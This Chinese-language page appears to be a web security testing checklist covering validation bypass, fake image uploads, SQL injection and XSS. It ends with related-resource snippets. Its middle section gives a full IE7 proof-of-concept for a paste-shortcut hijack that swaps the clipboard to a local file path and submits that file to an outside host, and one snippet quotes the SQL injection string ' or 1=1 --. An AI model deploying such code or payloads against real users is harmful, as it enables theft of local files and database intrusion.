1. 客户端/服务器短对数据有效性是否都进行了验证:
可以使用TamperIE这个小工具，来截取用户提交的数据，修改提交的数据，绕过客户端检测直接提交给服务器，来查看服 务器端是否检测了数据的有效性。
2.客户端上传安全测试，比如只能上传图片格式的文件（jpg、png、gif），测试是否可以使用冒牌的图片进行上传:
如在新建一个txt文件，将其扩展名修改成jpg，进行上传，查看是否上传成功。
3.直接通过URl操作非法数据，如删除功能，可以通过click删除，也可以直接使用url直接删除，测试是否可用使用url删除非法数据
4.测试页面中js代码是否被执行，如：在文本框或其他的地方，输入js代码，测试是否能被执行。
5.sql注入
6.xss攻击，解决办法：可以让服务器生成一个动态值给客户端。
7.php特有的一个安全问题include("$test".xx.php),可以让外部非法程序获得可执行程序
8.Javascript Paste Keyboard Shortcuts Hijack
这样的攻击手段也算是极其无耻 猥琐之极! 所以防御措施一定要做好首先说一下通过Javascript Paste Keyboard Shortcuts Hijack能做什么???能够读取你本地机器任何文件! 没错!也就是说 你中了任何一个XSS 加上你按了粘贴快捷键后,你就有可能被别人读取你机上任何的文件!那到底是什么回事呢? OK 我慢慢来说首先 我们知道JS是无权限获读取你本地任何文件的... 那么我们必须要让用户上传自己的文件!怎么让用户上传呢? 很简单! 通过 <input type=file > 这样就能让用户上传文件了!现在又一个问题是, input 为file的时候 value的值 不能用代码set进去!必须要让用户自己填写! 必须要通过人机交互!其实说到这里!聪明的你大致也应该明白怎么回事! 接着说! 用户不可能把自己的文件填写上去提交给你看的吧?没错~ 那么 就等待用户 进行快捷键粘贴的时候 哈哈~~说说步骤
1. 判断是否 进行 ctrl + v
2. 替换粘贴板
3. 光标切换到 文件上传
4. 善后工作就交给你了 ( 例如如何把上传textbox透明化,当前页面不会因表单提交而跳转 )
IE7 下的 POC :
<HTML>
<HEAD>
<TITLE> Javascript Paste Keyboard Shortcuts Hijack </TITLE>
</HEAD>
<body onkeydown="temp()">
<input>
<form action="http://www.kj.com" method=post name=s>
<input id=kj_filehijack type=file name=fhijack>
</form>
<script>
function temp()
{
if(event.ctrlKey){
if(event.keyCode==86){
window.clipboardData.setData("text","c:/boot.ini");
document.getElementById('kj_filehijack').focus();
document.s.submit();
}
}
}
</script>
</BODY>
</HTML>
分享到：
相关推荐
安全性测试总结，主要是关于安全性测试的一些资料
安全性测试从冷门的话题，随着国内各大知名网站频繁被攻击，重要社区用户信息被泄露，逐步被各方所重视。而具体怎么做软件安全性测试，防止骇客有机可乘，国内普遍处于才起步的状态。今天笔者就自己的经验，系统总结...
安全性测试总结，安全性测试总结，安全性测试总结
安全性测试的目的 安全性测试内容 安全性测试方法 详尽的说明 1.应用程序安全测试 2.操作系统安全测试 3.数据库安全测试 4.IIS服务器安全测试 5.网络环境安全测试
sql注入：将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串 示例：在查询中输入字符串 ' or 1=1 --
WEB安全性测试测试用例，很基础的东西。一些XSS输入总结。
然后对当前Web安全性测试技术的研究进行了全面概述, 比较了静态技术和动态技术各自的优缺点, 同时对在Web安全性测试中新兴涌现的模糊测试技术进行了详细的介绍和总结; 最后指出了Web安全测试中有待解决的问题以及...
1、 界面测试通用测试点 2、 页面元素通用测试点 3、 相关功能通用测试点 4、 安全性测试测试点 5、 其他测试 6、 代码测试测试点
软件测试之安全测试报告（带模版加完整内容） 很详细，主要包含安全测试概述、测试目的、风险描述、风险等级、测试过程、发现问题与建议、测试总结等
软件测试中报表测试用例设计方法总结报表的测试主要分为以下几个方面:界面,安全性,准确性,展示速度(性能)数据统计方面1、报表统计数据的正确性；2、报表统计数据的完整性；3、报表统计数据的合法性；比如，统计金额...
随着软件在现代高可靠性装备中的比重和关键程度越来越高，传统的软件安全性测试方法已经不能满足当前测试要求，本文主要介绍一种新...并对基于SFMEA安全性分析技术进行安全性测试工作优缺点以及重点关注内容进行了总结.
功能测试、性能测试、可用性测试、客户端兼容性测试、安全性测试
随着Web应用的增多，新的模式解决方案中以Web为核心的应用也越来越多，很多公司各种应用的架构都以B/S及Web应用为主，它更广的面向人群和要求更高的安全性对测试人员来说Web测试成为了一个新的具有挑战性的课题
此为WEB应用测试总结分类图表。其中包括：功能测试，易用性测试，负载压力测试，安全性测试，设计技术，总体架构设计测试，客户端设计测试及服务器设计测试等。。。
手机APP测试总结报告 作 者： 日 期： 2022-03-10 文档编号： 002 版 本： Ver 1.0 1.测试概述 1 1.1. 编写目的 1 1.2. 测试范围 1 2. 测试计划执行情况 1 2.1. 测试类型 1 2.2. 测试环境与配置 2 2.3. 测试人员 2...
使用APPSCAN进行安全性检测总结，使用APPSCAN进行安全性检测总结
界面测试，功能测试，表单测试，COOKIES测试，兼容性测试，业务测试，安全性测试
本文从功能、性能、可用性、客户端兼容性、安全性等方面讨论了基于Web 的系统测试方法。 基于Web 的系统测试与传统的软件测试既有相同之处，也有不同的...重要的是，还要从最终用户的角度进行安全性和可用性测试。
(建议：测试人员在针对一个需求进行验证的时候，应该明白存在哪几个方面的测试，比如：功能测试，业务需求测试，兼容性测试，安全性测试，界面测试，易用性测试等，将这几种融入到自己的意识里，每次测试过程中检查...
重要的是，还要从最终用户的角度进行安全性和可用性测试。然 而，Internet和Web媒体的不可预见性使测试基于Web的系统变得困难。因此，我们必须为测试和评估复杂的基于Web的系统研究新的方法和技术。